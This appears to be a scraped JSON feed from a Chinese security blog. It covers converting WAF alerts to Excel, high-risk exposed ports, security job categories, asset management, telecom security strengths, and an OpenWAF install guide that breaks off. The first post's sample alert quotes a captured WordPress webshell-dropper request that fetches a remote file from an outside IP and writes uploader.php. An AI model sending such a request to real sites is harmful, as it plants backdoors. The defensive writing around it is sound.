\u0026#34;holeType\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;discoveryTime\u0026#34;: \u0026#34;2023-08-15 14:36:23\u0026#34;, \u0026#34;disposalMeasure\u0026#34;: \u0026#34;01\u0026#34;, \u0026#34;informationSource\u0026#34;: \u0026#34;长亭WAF\u0026#34;, \u0026#34;disposalSuggestion\u0026#34;: \u0026#34;建议封禁\u0026#34;, \u0026#34;riskLevelPredue\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;impactFlag\u0026#34;: \u0026#34;02\u0026#34;, \u0026#34;disposalOperateRecord\u0026#34;: \u0026#34;WAF封禁\u0026#34;, \u0026#34;serialNo\u0026#34;: \u0026#34;ABC123\u0026#34;, \u0026#34;sourceIpBelong\u0026#34;: \u0026#34;美国\u0026#34;, \u0026#34;potentialImpact\u0026#34;: \u0026#34;无\u0026#34;, \u0026#34;sourceIpType\u0026#34;: \u0026#34;04\u0026#34;, \u0026#34;protocalType\u0026#34;: \u0026#34;HTTP\u0026#34;, \u0026#34;disposalFlag\u0026#34;: \u0026#34;01\u0026#34;, \u0026#34;groupOrderType\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;comment\u0026#34;: \u0026#34;通过微步溯源，IP归属地是美国\u0026#34;, \u0026#34;attackDetail\u0026#34;: \u0026#34;POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\\n\\nHost: abcd.cn\\n\\nConnection: keep-alive\\n\\nAccept-Encoding: gzip, deflate\\n\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\\n\\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\\n\\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\\n\\nCache-Control: max-age=0\\n\\nreferer: www.google.com\\n\\nUpgrade-Insecure-Requests: 1\\n\\nContent-Length: 231\\n\\nContent-Type: application/x-www-form-urlencoded\\n\\n\\n\\nvz=$x=fwrite(fopen($_SERVER[\u0026#39;DOCUMENT_ROOT\u0026#39;].\u0026#39;/wp-admin/css/colors/blue/uploader.php\u0026#39;,\u0026#39;w+\u0026#39;),file_get_contents(\u0026#39;http://51.79.124.111/vz.txt\u0026#39;));echo+\\\u0026#34;aDriv4\\\u0026#34;.$x;\u0026#34;, \u0026#34;taskId\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;status\u0026#34;: \u0026#34;\u0026#34; }\u0026#39;\u0026#39;\u0026#39; dic_data = json.loads(json_data,strict=False) df_data=pd.DataFrame(dic_data,index=[0]) df_data.to_excel(\u0026#39;attack.xlsx\u0026#39;) 效果： 三、注意事项 因为attackDetail字段有很多类似\\n等的转义符，会导致json解析不成功，在json.loads的时候就会报错。报类似于 json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。\n常见的字符串标识u,r,b,f\n字符串前加u 后面字符串以 Unicode格式进行编码，一般用在中文字符串前面，防止因为源码储存格式问题，导致再次使用时出现乱码。 字符串前加r 去掉反斜杠的转义机制。（特殊字符：即那些，反斜杠加上对应字母，表示对应的特殊含义的，比如最常见的”\\n”表示换行，”\\t”表示Tab等。 ） 字符串前加b b前缀表示：后面字符串是bytes 类型。 字符串前加f 以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。 如： 1 2 3 name=\u0026#39;xiejava\u0026#39; outputstr=f\u0026#39;My name is {name}\u0026#39; print(outputstr) 输出结果为：\n1 My name is xiejava 博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-08-18-python%E4%B8%89%E8%A1%8C%E4%BB%A3%E7%A0%81%E5%AE%9E%E7%8E%B0json%E8%BD%ACexcel/","summary":"\u003cp\u003e最近重保，经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的，就需要将json转成Excel。\n用Python将json转成excel也就三行代码的事，先将json串导入形成字典对象，再通过pandas转成DataFrame直接输出excel。\n实现如下：\u003c/p\u003e","title":"Python三行代码实现json转Excel"},{"content":"互联网暴露资产因直接向公众互联网开放，极易遭受来自外部组织或人员的入侵与攻击，是风险管控的高危区域。\n作为企业的安全管理，互联网暴露资产的管理是非常重要的一环。应该建立规范的流程严控互联网暴露端口的审批，对互联网暴露出口应尽量缩减收敛减少暴露面，对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产，对因为业务需要必须要暴露的资产端口进行有效的访问控制策略等。\n本文介绍互联网暴露资产端口的定义、分类及管理。\n互联网暴露资产端口定义 互联网暴露端口指信息系统资产、网络设备或终端设备面向互联网开放服务或开放协议的端口（含 NAT 映射端口），该端口可被其他互联网的资产进行主动探测、访问或连接。当某资产至少具备一个互联网暴露端口时，则认定该资产为互联网暴露资产；当某信息系统内部至少具备一台互联网暴露资产时，则认定该信息系统为互联网暴露信息系统。 当互联网暴露资产同时面向内网（或私网）开放服务或开放协议时，相关端口不属于互联网暴露端口，不纳入互联网暴露端口管控范围；当某资产通过互联网主动发起单向通信时，因该资产用于通信服务的端口并未暴露于互联网，也无法被其他互联网资产主动探测、访问或连接，则认定该资产不属于互联网暴露资产，且不具备互联网暴露端口。 互联网暴露端口的判定，与该端口是否已执行访问控制策略不相关。\n互联网暴露资产端口分类 互联网暴露资产（含信息系统、网络设备、终端）端口按照其功能用途，可分为业务类端口及管理类端口两大类： 1）业务类端口。具体可细分为以下三类：\n用户访问端口：主要指各类与用户侧交互的，支撑用户访问服务的端口，如 WEB 访问端口、视频流端口等。 平台交互端口：系统内外部服务器间的接口交互、数据交互等服务端口。 路由协议端口：常见于路由设备，用于配置路由协议而开放的端口服务，如 BGP边界网关协议端口、OSPF 开放式最短路径优先协议端口等。 2）管理类端口。主要包含实现远程操控管理、后台访问运维、用户数据收集及用户终端主动管控等服务的端口。\n互联网暴露资产端口管理 尽量缩减收敛减少暴露面，基于最小使用原则，对于高危风险端口应严禁对互联网开放，尤其是管理类端口如数据库、运维管理等端口。如mysql的3306端口、Redis的6379端口等。对于必须要暴露的资产端口进行有效管控，如：制定合理的访问控制策略、加强鉴权等。 应该建立互联网暴露资产台账，规范的流程严控互联网暴露端口的审批，动态维护好互联网暴露资产台账。 对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产，对没有没纳管的暴露面资产进行纳管加强管控或下线，及时维护台账。 常见的高危风险端口 高危端口号（默认） 22（TCP） 协议或服务 SSH （Secure Shell），安全外壳协议 应用场景或应用组件 远程登录、SSH 端口转发 端口用途说明 SSH 协议的服务连接端口，可用于进行远程操作维护 端口类别 管理类端口 风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行 高危端口号（默认） 23（TCP） 协议或服务 Telnet （ 远程终端协议） 应用场景或应用组件 远程登录 端口用途说明 Telnet 协议的服务连接端口，可用于进行远程操作维护 端口类别 管理类端口 风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行 高危端口号（默认） 161（UDP） 协议或服务 SNMP（Simple Network Management Protocol，简单网络管理协议） 端口用途说明 可用于对网络设备进行远程信息读取、管理和配置 端口类别 管理类端口 风险描述 爆破默认团队字符串，导致信息泄漏 高危端口号（默认） 111（TCP/UDP）、2049（TCP/UDP） 协议或服务 NFS（Network File System），网络文件系统 端口用途说明 用于远程文件传输 端口类别 业务类端口（用户访问端口、平台交互端口） 风险描述 权限配置不当 高危端口号（默认） 3306（TCP） 协议或服务 MySQL（数据库） 端口用途说明 MySQL 是一款开源关系数据库管理系统。该端口端口用于数据库远程管理和连接 端口类别 管理类端口、业务类端口（平台交互端口） 风险描述 暴力破解、信息泄漏、远程命令执行 高危端口号（默认） 6379（TCP） 协议或服务 Redis（数据库） 端口用途说明 Redis 默认管理和服务端口 端口类别 管理类端口 风险描述 可能会存在未授权访问，或者进行弱口令爆破；获得访问权限后，可能存在任意文件写入导致获取系统远程控制权限。 高危端口号（默认） 27017（TCP）、27018（TCP）、27019（TCP） 协议或服务 MongoDB（数据库） 端口用途说明 用于 MongoDB 数据库的远程管理和服务，以及集群间通信 端口类别 管理类端口、业务类端口（平台交互端口） 风险描述 爆破，未授权访问 高危端口号（默认） 1433（TCP）、1434（UDP） 协议或服务 SQLServer（数据库） 端口用途说明 SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。\n1433（默认）端口用于数据库远程管理和连接，1434（默认）用于命名服务 端口类别 管理类端口、业务类端口（平台交互端口） 风险描述 提权，弱口令，爆破；早期版本还存在远程命令执行漏洞 高危端口号（默认） 1521（TCP） 协议或服务 Oracle（甲骨文数据库） 端口用途说明 Oracle 是甲骨文公司的一款关系数据库管理系统。该端口端口用于数据库远程管理和连接 端口类别 管理类端口、业务类端口（平台交互端口） 风险描述 暴力破解、信息泄漏、远程命令执行 高危端口号（默认） 5432（TCP） 协议或服务 PostgreSQL（数据库） 端口用途说明 PostgreSQL 是一款开源关系数据库管理系统。该端口用于数据库远程管理和连接 端口类别 管理类端口、业务类端口（平台交互端口） 风险描述 暴力破解、信息泄漏、远程命令执行 高危端口号（默认） 3389（TCP） 协议或服务 Windows RDP（远程桌面协议） 端口用途说明 用于访问服务器的远程桌面服务，提供基于图形界面的远程操作维护功能。 端口类别 管理类端口 风险描述 暴力破解，远程控制 高危端口号（默认） 5800（TCP），5900（TCP） 协议或服务 VNC（Virtual Network Console），虚拟网络控制台 端口用途说明 VNC 是一款远程桌面和远程控制软件，5800 和 5900（默认）端口均为 VNC 服务启动端口或远端控制端口 端口类别 管理类端口 风险描述 暴力破解，远程控制 博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-05-15-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E4%BA%92%E8%81%94%E7%BD%91%E6%9A%B4%E9%9C%B2%E8%B5%84%E4%BA%A7%E7%AB%AF%E5%8F%A3/","summary":"\u003cp\u003e互联网暴露资产因直接向公众互联网开放，极易遭受来自外部组织或人员的入侵与攻击，是风险管控的高危区域。\u003c/p\u003e\n\u003cp\u003e作为企业的安全管理，互联网暴露资产的管理是非常重要的一环。应该建立规范的流程严控互联网暴露端口的审批，对互联网暴露出口应尽量缩减收敛减少暴露面，对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产，对因为业务需要必须要暴露的资产端口进行有效的访问控制策略等。\u003c/p\u003e","title":"网络安全之互联网暴露资产端口"},{"content":"\n又到了每年重保期间，红蓝双方都开始进行准备蓄势待发，网络安全从业人员每年供不应求，尤其是重保期间，双方都在疯狂的招揽准备网络安全人员。那网络安全从业人员分类到底有哪些，都负责哪些具体的工作任务呢？\n根据2023年最新发布的在今年10月1日即将实施的国标《GB T 42446-2023 信息安全技术 网络安全从业人员能力基本要求》的定义。 **网络安全从业人员（cybersecurity workforce）**是从事网络安全工作，承担相应网络安全职责，并且具有相应网络安全知识和技能的人员。 网络安全从业人员完成工作任务需要具备相应的能力。工作任务是指为了实现组织的相关目标，需要执行的网络安全有关的一个或一组工作活动或工作内容。 网络安全从业人员的工作类别包括：网络安全管理、网络安全建设、网络安全运营、网络安全审计和评估、网络安全科研教育。\n网络安全管理 工作任务 工作任务描叙 网络安全需求分析 依据法律法规、政策标准及业务流程要求，开展符合性需求分析、业务所依赖的信息通信技术（ICT）持续运行需求分析、数据安全需求分析等，定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。 网络安全规划和管理 指导、制定、监督和执行网络安全战略规划、策略制度和体制机制。综合协调相关人员，采取各类网络安全控制措施，降低并缓解系统安全风险。 网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节，采取措施保障网络数据安全。 个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节，采取措施保障个人信息安全。 密码技术应用 运用密码技术，进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。 网络安全咨询 根据组织的安全目标，提供安全规划、设计、实施、运维、管理等方面的政策法规和技术咨询服务。 网络安全建设 工作任务 工作任务描叙 网络安全需求分析 依据法律法规、政策标准及业务流程要求，开展符合性需求分析、业务所依赖的信息通信技术（ICT）持续运行需求分析、数据安全需求分析等，定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。 网络安全架构设计 依据网络安全需求分析、ICT基础设施现状、组织环境和业务特点等，从物理环境、通信网络、计算环境、区域边界等方面进行网络安全架构设计，形成网络安全架构实施方案。 网络安全开发 实现软件、硬件安全架构及功能开发，并对其进行测试、更新和维护。 供应链安全管理 运用供应链安全管理的方法、工具和技术，控制供应链安全风险，管理供应商及网络安全和信息化相关产品和服务的釆购。 网络安全集成实施 网络安全项目管理，信息系统安全集成过程中软硬件设备与系统的安装、调试、测试、配置、故障处理和工程实施，以及配合验收交付。 网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节，采取措施保障网络数据安全。 个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节，采取措施保障个人信息安全。 密码技术应用 运用密码技术，进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。 网络安全运营 工作任务 工作任务描叙 网络安全运维 利用网络安全技术/工具，根据网络安全相关标准和制度流程，操作、运行、维护和管理信息系统。 网络安全监测和分析 利用相关技术、工具和情报信息等对目标系统进行安全监测、分析和预警，并提出应对威胁的措施和改进建议。 网络安全应急管理 组织编制网络安全事件应急预案，实施网络安全应急演练，在应对突发/重大网络安全事件时，采取必要的应急处置措施将信息系统和业务恢复到正常状 态，并进行事件溯源和调查取证。 网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节，采取措施保障网络数据安全。 个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节，采取措施保障个人信息安全。 密码技术应用 运用密码技术，进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。 网络安全审计和评估 工作任务 工作任务描叙 网络安全审计 依据审计依据，在规定的审计范围内，监督和评价网络安全控制措施的设计有效性和执行有效性.确定被审计对象满足审计依据的程度，并提出网络安全工作改进的意见和建议。 网络安全测试 对目标系统的脆弱性和防御机制有效性进行验证，发现安全问题并提出改进建议；根据测试依据，识别并测试系统和产品的安全性。 网络安全评估 评估信息系统、业务及相关网络数据等的符合性和面临的网络安全风险，对风险进行识别、分析、评价，提出改进建议。 网络安全认证 对网络安全管理体系、服务、产品等开展认证与审核。电子数据取证对电子数据进行提取、固定、恢复、分析等工作。 网络安全科研教育 工作任务 工作任务描叙 网络安全研究 研究网络空间安全涉及的学科理论基础和方法论，研究网络安全新兴技术及应用、产业发展趋势，以及网络安全法律法规、政策、标准等。 网络安全培训和评价 开展网络安全培训方案和相关课程的设计、开发和持续改进，实施授课等培训活动，开展评价活动，例如：理论知识考试、技能操作考核、业绩评审、竞赛、选拔等。 在重保期间，最火的就是网络安全运营及网络安全审计和评估人员，分别对应的是红队人员和蓝队人员。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-04-27-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%85%A5%E8%A1%8C%E6%9D%A5%E4%BA%86%E8%A7%A3%E4%B8%8B%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BB%8E%E4%B8%9A%E4%BA%BA%E5%91%98%E7%B1%BB%E5%88%AB%E5%8F%8A%E5%85%B6%E5%B7%A5%E4%BD%9C%E4%BB%BB%E5%8A%A1/","summary":"\u003cp\u003e\u003cimg alt=\"在这里插入图片描述\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230427/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%BA%E5%91%98.png\"\u003e\u003c/p\u003e\n\u003cp\u003e又到了每年重保期间，红蓝双方都开始进行准备蓄势待发，网络安全从业人员每年供不应求，尤其是重保期间，双方都在疯狂的招揽准备网络安全人员。那网络安全从业人员分类到底有哪些，都负责哪些具体的工作任务呢？\u003c/p\u003e","title":"网络安全入行？来了解下网络安全从业人员类别及其工作任务"},{"content":"安全风险管理的三要素分别是资产、威胁和脆弱性，脆弱性的存在将会导致风险，而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象（资产）自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。“摸清家底，认清风险”做好资产安全信息管理是安全运营的第一步也是最重要的一步。\n资产管理范围 《GBT 20984-2007信息安全技术信息安全风险评估规范》中，对于资产的定义为“对组织有价值的信息或资源，是安全策略保护的对象”。\n对于网络空间资产来说，这里的资产是指赛博空间中某机构所拥有的一切可能被潜在攻击者利用的设备、信息、应用等数字资产。具体对象包括但不限于硬件设备、云主机、操作系统、IP地址、端口、证书、域名、Web应用、业务应用、中间件、框架、机构公众号、小程序、App、API、源代码等。概括来说，只要是可操作的对象，不管是实体还是属性。都可以称之为“网络空间资产”。所以对于企业来说这些资产安全信息都要做好管理。参考博文《网络安全之资产及攻击面管理》\n在工信部《基础电信企业资产安全管理平台建设指南（试行）》稿中，提到资产安全管理平台对于IP化软硬件资产提供安全管理，其管理范围包括但不限于网络产品、安全产品、物联网设备、办公外设、企业应用、系统软件、支撑系统。资产安全信息应该覆盖到所有的IP化软硬件资产。\n资产安全信息一般包括资产的基本属性（如：资产名称、类型、型号、厂商、IP地址、操作系统及其版本信息、端口、服务信息、中间件及其版本信息、程序应用框架及其版本信息、应用软件及其版本信息等）、资产的安全属性（如：安全等级等与网络安全脆弱性整治和威胁监测处置有关的信息等）、资产的管理属性（如：使用单位、责任人、联系电话等）、资产的业务属性（包括所属的业务系统、承载的业务等），应对资产安全信息实施全生命周期管理。\n资产安全全生命周期管理 资产的全生命周期覆盖资产上线、资产运行、资产下线，在这过程中要对资产进行定级备案、对资产的台账进行维护、对资产进行风险评估、对资产进行定期的清查。 资产上线 企业应建立统一的资产安全信息管理平台。资产上线，应在资产投入使用前完成对企业信息资产纳管。主机、虚机资产安装资产采集 Agent，网络设备纳入专业网管系统管理，变更的资产信息每天向资产安全信息管理平台同步。\n资产运行 资产运行环节是资产生命周期中最重要的环节。安全运营维护单位应建立所辖资产清单台账，应确保相关信息资产IP 地址和端口全量纳管，实现资产安全信息管理平台数据与资产实际情况相符。做好资产运行期的资产台账维护和更新、做好定级备案信息的维护和更新、定期开展资产的风险评估等。\n资产下线 资产下线意味着资产的生命周期结束，安全运营维护单位应在资产退网后一定时期内（ 如两周或15 日）内完成资产安全信息管理平台数据更新。\n资产台账维护 安全运营维护单位应在资产上线前建立好资产台账并在投产前完成对企业信息资产在资产安全信息管理平台的纳管，在资产运行期定期维护台账信息如资产信息发生变化定期更新台账，资产下线推网后完成台账的删除及资产安全信息管理平台数据更新。资产台账维护的主要目的是要保障资产安全信息管理平台数据与资产实际情况相符。\n资产定级备案 资产因为其业务属性的不一样，影响的业务也不一样。对于重点的业务系统应予以重点的关注和保护。对于大型关基企业应对资产根据其重要级别进行定级备案。根据级别的不同制定防护策略开展风险评估。一般来说由维护单位在资产的全生命周期内进行定级备案信息的维护和更新，如资产上线前进行定级备案，在系统资产发生变化或下线时进行定级备案信息的更新。安全运营支撑单位对定级备案信息开展技术复核后完成定级备案信息的提交。\n资产风险评估 在资产上线前和资产承载的业务发生变化后都应该进行资产风险评估，并根据企业自身要求定期开展风险评估。根据资产定级备案的不同如三级及以上的网络设备和系统平台每年进行一次风险评估，二级网络设备和系统平台每两年进行一次风险评估。对于存在大量个人信息且暴露于互联网的网络设备和系统平台可以请具备资质的第三方单位开展风险评估。重大活动或重要保障前，开展专项风险评估等。\n资产定期清查 资产清查，主要是定期对一些“三无”、“七边”的管理覆盖不到位或存在管理薄弱环节的资产进行清查。识别并推进“三无”资产下线（“三无”指“无人管理、无人使用、无人防护”），对“七边”系统进行规范管理（“七边”指测试系统、试验平台、退网未离网系统、工程已上线加载业务但未正式交维系统、与合作伙伴共同运营的业务或系统、责任交接不清的系统、处于衰退期的系统）。安全运营维护单位应配合开展资产清查和纳管，在“三无”资产回收过程中进行系统保障和应急响应。\n做好资产安全信息管理是需要通过“技术”+“管理”手段相结合。技术方面企业可以根据自身需求建立资产安全管理平台、攻击面管理平台、互联网暴露面测绘平台，全面覆盖内外资产和互联网暴露面的资产管理；管理方面可以根据自身情况参考资产安全信息管理的全生命周期制定符合企业的资产安全信息管理制度。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-04-18-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E8%B5%84%E4%BA%A7%E5%AE%89%E5%85%A8%E4%BF%A1%E6%81%AF%E7%AE%A1%E7%90%86/","summary":"\u003cp\u003e安全风险管理的三要素分别是资产、威胁和脆弱性，脆弱性的存在将会导致风险，而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象（资产）自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。“摸清家底，认清风险”做好资产安全信息管理是安全运营的第一步也是最重要的一步。\u003c/p\u003e","title":"安全运营之资产安全信息管理"},{"content":"\n背景 近年来，中美贸易摩擦加剧，国际争端凸显，国家高度重视网络安全的建设，网络安全已上升及国家战略层面，网络空间作为“第五疆域”受到极大重视。个人与企业对于网络安全的需求不断增加，中国网络安全市场也随之发展。\n政策支持，网络安全需求不断增加 近年来，网络安全被提升到国家战略高度，正在加快推进网络安全技术自主创新，朝着建设网络强国目标不懈努力。2014年以来先后设立中国安全委员会、中央网络安全和信息化委员会，发布了《国家安全法》、《中华人民共和国网络安全法》、《国家网络空间安全战略》、《网络空间国际合作战略》、《中华人民共和国数据安全法》等多项鼓励行业发展的法规和政策。这些法规政策规范了网络信息安全行业，为网络安全行业发展营造了良好的环境。\n信息化水平、云计算、大数据、5G、物联网水平提升，网络安全对产业及业态提出新要求 近年来，中国信息化水平不断攀升：云计算的进步带动计算能力和数据的集中；大数据的出现带来数据收集、处理、分析业态的革新；5G网络加速了网络数据处理速度；随着“云+5G”的共同催化，联网设备将呈现指数级增长，中国网络安全行业未来将布局更多的应用领域。 同时，以上科技进步也引发了新的网络安全问题，对网络安全行业提出新要求，数据的产生流通和应用更加普遍化和密集化，使网络安全的防范更加复杂，对网络安全提出更高的挑战。 2019年9月27日工信部公开征求对《关于促进网络安全产业发展的指导意见（征求意见稿）》的意见，征求意见稿中提出，到2025年，培育形成一批年营收超过20亿的网络安全企业，形成若干具有国际竞争力的网络安全骨干企业，网络安全产业规模超过2000亿。\n在此背景下大型国有企业尤其是电信运营商纷纷布局网络安全。如中国移动收购启明星辰、中国电信组建专门的网络与信息安全研究院成立成立天翼安全科技有限公司、联通成立一家专注于网络安全服务的新公司计划将信息安全业务打造成创新业务发展的主要增长点。\n优势分析 那么运营商在安全领域发展都会有哪些优势呢？\n一、网络优势 电信运营商，作为国家网络基础设施的建设者和运营者，具备强大的网络优势。在工信部《关于促进网络安全产业发展的指导意见（征求意见稿）》明确提出鼓励基础电信企业和云服务提供商发挥网络资源优势，面向客户提供网络安全监测预警、攻击防护、应急保障等增值服务。\n二、数据优势 运营商有大网的数据优势，如：DDOS异常流量监测数据、IDC/ISP数据、僵木蠕恶意程序数据、互联网暴露资产数据等，通过整合电信运营商大网数据能力，汇聚各类安全数据资源，结合大网威胁情报信息，能够更好的赋能安全产品。\n三、产品优势 运营商自身自研建设了大量的安全基础能力。以电信为例，近年来积极打造了一系列硬核自主研发的安全产品如云堤抗DDoS、互联网测绘平台、安全态势感知平台、安全运营中心、安全资源池等保租手等等，安全产品均已通过运营商级的大网实战验证。生态开放，具备端到端的产品集成、产品研发和定制能力，提供一体化、全方位、一站式的综合解决方案。相对于传统的安全产商，传统安全设备产商的某些个别的产品可能有优势，但产品可能只适配自家的产品，对其他厂商比较封闭，端到端的产品集成和定制化能力相对较弱。\n四、运营优势 成功的安全在于运营，运营商自身作为典型的关基行业企业，面对工信部、通管局、公安、网信办等多个监管部门的监管和考核，自身积累了丰富的安全运营经验和实战化的重保经验，并且将自身的安全运营经验、重保经验赋能至安全产品。可面向行业监管单位和关基等客户量身打造基于实战化、可视化、专业级的安全运营产品集。而传统安全产商，一般只提供标准产品，安全运营经验赋能产品相对不足。\n五、服务优势 电信运营商具备强大的信息化和安全的一体两翼的能力，比传统安全公司更懂信息化和网络，建立了从信息系统和网络的规划与设计、再到实施建设、生产运行维护，涉及整个业务系统安全稳定运行的安全服务体系。\n电信运营商具备覆盖全国的省-市-县的本地化专业的安全服务团队，专业安全服务团队能对客户形成一对一的贴身服务。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-11-%E8%BF%90%E8%90%A5%E5%95%86%E5%9C%A8%E5%AE%89%E5%85%A8%E9%A2%86%E5%9F%9F%E7%9A%84%E4%BC%98%E5%8A%BF%E5%88%86%E6%9E%90/","summary":"\u003cp\u003e\u003cimg alt=\"网络安全\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20230410/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A84.jpeg\" title=\"网络安全\"\u003e\u003c/p\u003e\n\u003ch2 id=\"背景\"\u003e背景\u003c/h2\u003e\n\u003cp\u003e近年来，中美贸易摩擦加剧，国际争端凸显，国家高度重视网络安全的建设，网络安全已上升及国家战略层面，网络空间作为“第五疆域”受到极大重视。个人与企业对于网络安全的需求不断增加，中国网络安全市场也随之发展。\u003c/p\u003e","title":"运营商在安全领域的优势分析"},{"content":"OpenResty是一个基于 Nginx 与 Lua 的高性能 Web 平台，其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。本文介绍通过OpenResty+OpenWAF来搭建软WAF的应用，用来防护DVWA的靶机，然后我们通过攻击DVWA的靶机来看一下OpenWAF的防护效果。\n一、OpenResty+OpenWAF安装 1、安装依赖 1 yum install gcc gcc-c++ wget GeoIP-devel git swig make perl perl-ExtUtils-Embed readline-devel zlib-devel -y 安装libcidr\n1 2 3 4 5 cd /opt wget http://www.over-yonder.net/~fullermd/projects/libcidr/libcidr-1.2.3.tar.xz tar -xvf libcidr-1.2.3.tar.xz cd /opt/libcidr-1.2.3 make \u0026amp;\u0026amp; make install 升级openssl版本\n1 2 3 4 5 6 cd /opt wget -c http://www.openssl.org/source/openssl-1.1.1d.tar.gz --no-check-certificat tar -zxvf openssl-1.1.1d.tar.gz cd openssl-1.1.1d/ ./config make \u0026amp;\u0026amp; make install 下载pcre-jit 并解压pcre-jit，后面安装OpenResty的时候引入并安装\n1 2 wget https://udomain.dl.sourceforge.net/project/pcre/pcre/8.45/pcre-8.45.tar.gz --no-check-certificate tar -zxvf pcre-8.45.tar.gz 2、安装OpenWAF 1 2 3 4 5 6 7 8 9 cd /opt git clone https://github.com/titansec/OpenWAF.git mv /opt/OpenWAF/lib/openresty/ngx_openwaf.conf /etc mv /opt/OpenWAF/lib/openresty/configure /opt/openresty-1.19.3.1 cp -RP /opt/OpenWAF/lib/openresty/* /opt/openresty-1.19.9.1/bundle/ cd /opt/OpenWAF/ make clean make install ln -s /usr/local/lib/libcidr.so /opt/OpenWAF/lib/resty/libcidr.so 3、安装OpenResty OpenResty官网的下载地址 https://openresty.org/en/download.html 目前最新版本是1.21.4.1\n1 2 3 4 5 6 cd /opt wget https://openresty.org/download/openresty-1.21.4.1.tar.gz tar -zxvf openresty-1.21.4.1.tar.gz cd /opt/openresty-1.21.4.1/ ./configure --with-pcre-jit --with-ipv6 --with-http_stub_status_module --with-http_ssl_module --with-http_realip_module --with-http_sub_module --with-http_geoip_module --with-openssl=/opt/openssl-1.1.1d --with-pcre=/opt/pcre-8.45 gmake \u0026amp;\u0026amp; gmake install 设置nginx开机自启动服务\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 vim /lib/systemd/system/nginx.service [Unit] Description=nginx After=network.target [Service] Type=forking ExecStart=/usr/local/openresty/nginx/sbin/nginx ExecReload=/usr/local/openresty/nginx/sbin/nginx -s reload ExecStop=/usr/local/openresty/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target 1 2 3 4 5 6 7 8 9 10 # 设置开机启动 systemctl enable nginx # 查看服务当前状态 systemctl status nginx # 启动nginx服务 systemctl start nginx # 停止nginx服务 systemctl stop nginx # 重启nginx服务 systemctl restart nginx 当我们启动nginx的时候发现启动失败了，原因是因为原来安装了apache端口是80，nginx的端口也是80，端口冲突了。解决方案要不是改nginx端口，要不就是改apache的端口。这里将apache的端口改成8080。\n1 2 [root@localhost OpenWAF]# systemctl start nginx Job for nginx.service failed because the control process exited with error code. See \u0026#34;systemctl status nginx.service\u0026#34; and \u0026#34;journalctl -xe\u0026#34; for details. 查看nginx启动状态\n1 2 3 4 5 6 7 8 9 10 11 [root@localhost OpenWAF]# systemctl status nginx ● nginx.service - nginx Loaded: loaded (/usr/lib/systemd/system/nginx.service; enabled; vendor preset: disabled) Active: failed (Result: exit-code) since Tue 2023-04-04 04:00:44 PDT; 19s ago Process: 42096 ExecStart=/usr/local/openresty/nginx/sbin/nginx (code=exited, status=1/FAILURE) Apr 04 04:00:42 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) Apr 04 04:00:42 localhost.localdomain nginx[42096]: nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use) Apr 04 04:00:43 